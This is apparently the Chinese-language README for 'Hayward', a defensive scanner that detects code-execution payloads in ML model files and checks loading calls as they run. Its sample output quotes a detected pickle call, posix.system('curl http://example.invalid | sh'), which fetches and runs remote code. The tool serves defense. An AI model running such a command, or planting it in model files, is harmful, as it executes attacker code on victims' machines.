hayward

Hayward

机器学习模型文件安全扫描器。 在加载检查点之前，先确认它是否会在你的机器上运行代码。

pip install hayward
hayward scan ./models

CRITICAL MFV-PICKLE-001  checkpoints/model.pt
         Pickle file references unsafe callable(s) that grant code/command
         execution on load: posix.system('curl http://example.invalid | sh').

1 finding(s): 1 critical

或者在浏览器中试用。 这是同一个扫描器，已编译为 WebAssembly。将检查点拖到页面上，它会始终留在你的机器上。

守护加载过程

扫描会在加载文件前检查它。守护则会在加载过程中检查：

import hayward.guard  # pickle.load, joblib.load, numpy.load and torch.load now refuse dangerous calls

每次加载都会先进行扫描，然后在文件请求执行的每个函数运行之前进行检查。默认模式提高了安全门槛，但并非沙箱。对于不可信的文件，hayward.guard.install(strict=True) 会拒绝任何不在已知安全列表中的内容。使用指南列出了它无法覆盖的内容。

让你的编码 Agent 先行检查

pip install "hayward[mcp]"
claude mcp add hayward -- hayward mcp

问题所在

torch.load、joblib.load 和 numpy.load(allow_pickle=True) 会执行从所读取文件中加载的代码。这不是 bug，而是 pickle 的工作方式。

文件名是 pytorch_model.bin，而这句话里的 .bin 可不是摆设。它是一个程序。加载它，就是在你的笔记本电脑上，以你的身份，使用你的凭据运行它。

适用对象

从公共模型站点获取检查点、希望在 CI 流水线、笔记本电脑上，或在不允许任何内容离开网络的受监管环境中运行检查的团队。

与众不同之处

它不会乱报警。 总是误报的安全关卡最终会被关闭，因此它的设计目标是清晰报告真实模型，并将 INFO 级别留给无法验证的内容。我们引用的任何数据都是自行测量且无法独立复现的；准确性说明了它能支持和不能支持的结论，测试框架则会用你自己的语料运行扫描。

它会告诉你何时无法检查。 无法完整遍历的容器，或无法验证的内容，会明确报告覆盖范围问题，而不是给出安全结论；解析错误也不会抹去此前已发现的内容。攻击者会利用蓄意制造的解析错误隐藏载荷，因此即使载荷后面跟着垃圾内容，扫描结果仍会是严重风险。需要坦诚说明的一项限制是：从第一个字节起就完全不符合任何模型格式的内容，不会报告任何结果。

它能发现从未有人列出的危险组件。 对未知可调用对象的判定依据是传入的参数，而不是它的名称。URL、shell 命令、主机和端口，这些才是超越拒绝列表的通用判定依据。

它可在任何地方安装。 仅需一个依赖，不依赖模型框架，没有原生扩展，也不需要联网。支持 Python 3.10 及更高版本。

它适合构建流程。 提供有文档说明的退出码、JSON 输出，以及可自行设置的阈值。

扫描内容

	格式
Pickle 及所有封装它的格式	PyTorch（zip、legacy 和 .ptl mobile）、joblib、NumPy .npy / .npz、TorchServe .mar、NVIDIA NeMo、skops
张量容器	SafeTensors、GGUF、TFLite
图格式	ONNX、TensorFlow SavedModel、Keras（H5 和 .keras）、PMML
仓库配置	HuggingFace config.json / tokenizer_config.json（auto_map、trust_remote_code 和 Jinja chat_template 注入）

总计 26 种扩展名。格式依据魔数识别，因此，无论载荷被重命名为 weights.safetensors、weights.dat，还是完全没有扩展名，都不会仅凭文件名逃过扫描。目录扫描仍会先按扩展名查找候选文件，因为嗅探整个目录树意味着要读取其中的文件：覆盖范围说明了这一限制。

运行方式

hayward scan ./models                          # command line
hayward scan ./models -f html -o report.html   # shareable report
hayward-gui                                    # desktop window

from hayward import ModelFileScanner
findings = ModelFileScanner().scan_directory(Path("models"))

也可以将其用作加载防护、pre-commit 钩子，或供编码 Agent 在加载模型前调用的 MCP 服务。

还可以在 CI 中将其用作 GitHub Action，在构建失败时上传 SARIF 到代码扫描：

- uses: hedgerow-dev/hayward@v1
  with:
    path: models
    fail-on: high

请参阅 GitHub Action 指南。

扫描结果干净意味着什么

这表示 Hayward 已读取文件，且未发现其中有危险内容。并不表示模型是安全的。它只是烟雾报警器，而不是整栋建筑的勘察报告；覆盖范围页面会说明它无法进入哪些房间。

文档

• 用法：CLI 参考、退出代码、CI、pre-commit、GUI、MCP 服务、Python API、加载防护
• 规则：全部 47 条规则及其严重级别和 CWE 映射
• 覆盖范围：无法读取文件时的处理方式，以及这为何会成为一项发现
• 工作原理：如何在不执行的情况下读取 pickle，以及如何根据参数判断未知可调用对象
• GitHub Action：在 CI 中运行扫描并将 SARIF 上传到代码扫描
• 可复现构建：Docker 镜像和浏览器演示构建流水线
• 准确性：实测结果、注意事项，以及它会在哪些方面失准

贡献

最有价值的贡献是提供一个 Hayward 判断错误的文件。误报和漏报同样重要。没人信任的扫描器就没人会运行；如此一来，它也就形同虚设。

git clone https://github.com/hedgerow-dev/hayward
cd hayward && pip install -e ".[dev]" && pytest

安全

请将 Hayward 中发现的漏洞报告至 [email protected]，而不要提交 issue。会导致扫描器崩溃的输入也算漏洞：在 CI 门禁中，崩溃和扫描从未运行无法区分。

许可协议

MIT。请参阅 LICENSE 和 NOTICE。

hayward 曾是教区官员，负责巡视树篱、检查缺口，并扣押所有穿过缺口的东西。